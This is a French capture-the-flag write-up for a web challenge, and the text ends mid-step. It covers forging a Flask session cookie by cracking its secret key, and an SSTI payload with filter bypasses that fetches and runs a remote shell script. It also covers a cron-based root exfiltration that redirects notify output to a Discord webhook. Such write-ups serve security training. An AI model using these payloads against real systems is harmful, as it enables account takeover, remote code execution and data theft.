Challenge WEB Midnight CTF

- Catégorie **WEB**
- Titre **BGK**
- Déscription **Vous avez été mandaté pour vous introduire derrière les lignes ennemies.**
- Difficulté ???? à vous de voir
- Autheur **SpawnZii**

Solution

Step 1

- Crée un compte sur le site.
- Récupérer le cookie flask et le décoder.

```
flask-unsign --decode --cookie
".eJwlzjsOwjAMANC7eGawHcdOepmq9UewtnRC3J1KrG96H1jryPMJy_u48gHrK2CBYtPB08md
0feMCFSdvPXW9xlI-
5aTpZPr5jJ0ktDwQVEWxI0GYko5GZHNCsTuOSqbYq8mTIWMdQtV9UqVTDETT7MWUyzgjlxnHv9
Ng-8PqpwvFg.YjmRHQ.lwm7X-9JIVJ1RvEO25j1bcsBA_c"

{'_fresh': True, '_id':
'f276829c1cc20cbeddd06692a535b9d01bae92451c6ac48691418c81df7d1231800e4fc17
1179fd005ce8fe3605f3421f020fe8f1ff5fe64ee4774ce773d947d', '_user_id': '3'}
```

- Bruteforcer la secret key.

```
flask-unsign --unsign --cookie
".eJwlzjsOwjAMANC7eGawHcdOepmq9UewtnRC3J1KrG96H1jryPMJy_u48gHrK2CBYtPB08md
0feMCFSdvPXW9xlI-
5aTpZPr5jJ0ktDwQVEWxI0GYko5GZHNCsTuOSqbYq8mTIWMdQtV9UqVTDETT7MWUyzgjlxnHv9
Ng-8PqpwvFg.YjmRHQ.lwm7X-9JIVJ1RvEO25j1bcsBA_c" --wordlist
/usr/share/wordlist/rockyou.txt --no-literal-eval
[*] Session decodes to: {'_fresh': True, '_id':
'f276829c1cc20cbeddd06692a535b9d01bae92451c6ac48691418c81df7d1231800e4fc17
1179fd005ce8fe3605f3421f020fe8f1ff5fe64ee4774ce773d947d', '_user_id': '3'}
[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 522112 attemptser!
b'coldwar'
```

- Changer l'id de l'user par celui de l'admin et signer le cookie avec la secret key trouvé.

```
flask-unsign --sign --cookie "{'_fresh': True, '_id':
'f276829c1cc20cbeddd06692a535b9d01bae92451c6ac48691418c81df7d1231800e4fc17
```

```
1179fd005ce8fe3605f3421f020fe8f1ff5fe64ee4774ce773d947d', '_user_id':
'1'}"  --secret 'coldwar'

.eJwlzjsOwjAMANC7eGawHcdOepmq9UewtnRC3J1KrG96H1jryPMJy_u48gHrK2CBYtPB08md0
feMCFSdvPXW9xlI-
5aTpZPr5jJ0ktDwQVEWxI0GYko5GZHNCsTuOSqbYq8mTIWMdQtV9UqVTDETT7MWUyzgjlxnHv8
NwfcHqpYvFA.YjmVTw.yppLybGymHJO_1aDUCqmf8L31Bo
```

- Utiliser le cookie pour se connecter en tant qu'admin.

Step 2

- Aller sur la page '/scan'.
- Entrer l'url de votre serveur web.
- Certaines informations sont affichées, dont le titre sur serveur web.
- Monter un serveur web avec comme titre une payload ssti.

```
<!DOCTYPE html>
<html lang="en">
    <head>
        <meta charset="UTF-8">
        <title>{{7*7}}</title>
        <link href="/css/style.css" rel="stylesheet">
        <style>
            body {
                background-color: rgb(231, 232, 240);
                background-image: none;
            }
        </style>
    </head>
    <body>
        <h1 id="welcome"></h1>
    </body>
    <br>
    <script src="/js/main.js"></script>
    <script src="https://rawcdn.githack.com/AceMetrix/jquery-
deparam/81428b3939c4cbe488202b5fa823ad661d64fb49/jquery-deparam.js">
</script>
    <script src="https://www.google-analytics.com/analytics.js"></script>
</html>
```

- La payload est strippée, on passe de **{{7*7}}** à **{7*7}**.
- On comprend qu'il y a des filtres. La payload **{{{7*7}}}** fonctionne, on obtient bien 49 sur le rendu.
- On essaye une payload classique ssti comme `{{{self.__init__.__globals__.__builtins__.__import__('os').popen('id').read()}}}`. Erreur 500.
- Nous obtenons une erreur 500 car il y a d'autre filtres.

- On prend une payload qui n'est pas interprété par le serveur et on passe des caractères pour voir lesquels sont filtrés.
- `{{os global import _ () [] ' .}}` on obtient `{os global import () ' }`. Donc les caratères **[]._** sont filtrés.
- La payload final pour obtenir un reverse shell sur le serveur.

```
{{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\
x5fgetitem\x5f\x5f')
('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')
('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('echo -n
d2dldCBodHRwOi8vOTAuMTAuMTAuMTA6NjY2Ni9zaGVsbC5zaCAtTyAvdG1wL3Nweg== |
base64 -d | bash ; bash /tmp/spz')|attr('read')()}}}
```

Step 3

- En utilisant **pspy** on remarque qu'il y a un crontab qui tourne en root sur la machine.

```
/bin/cat /root/flag.txt | /usr/bin/notify &>/dev/null
```

- Après une simple recherche on comprend que notify est un tool qui permet de rediriger l'output d'une commande.
- En suivant le Readme du Github https://github.com/projectdiscovery/notify , on comprend qu'il faut créer un webhook discord puis l'ajouter au fichier de config.
- Le fichier de config située dans /root/.config/notify/provider-config.yaml est accessible en écriture.
- On créer donc un fichier provider-config.yaml sur notre host.

```
discord:
  - id: "crawl"
    discord_channel: "crawl"
    discord_username: "test"
    discord_format: "{{data}}"
    discord_webhook_url: "YOUR DISCORD WEBHOOK URL"
```

- On le Download sur le serveur `wget http://yoursrvip:port/provider-config.yaml -O /root/.config/notify/provider-config.yaml`.
- On attend que le crontab s'exécute.
- Après 1 minutes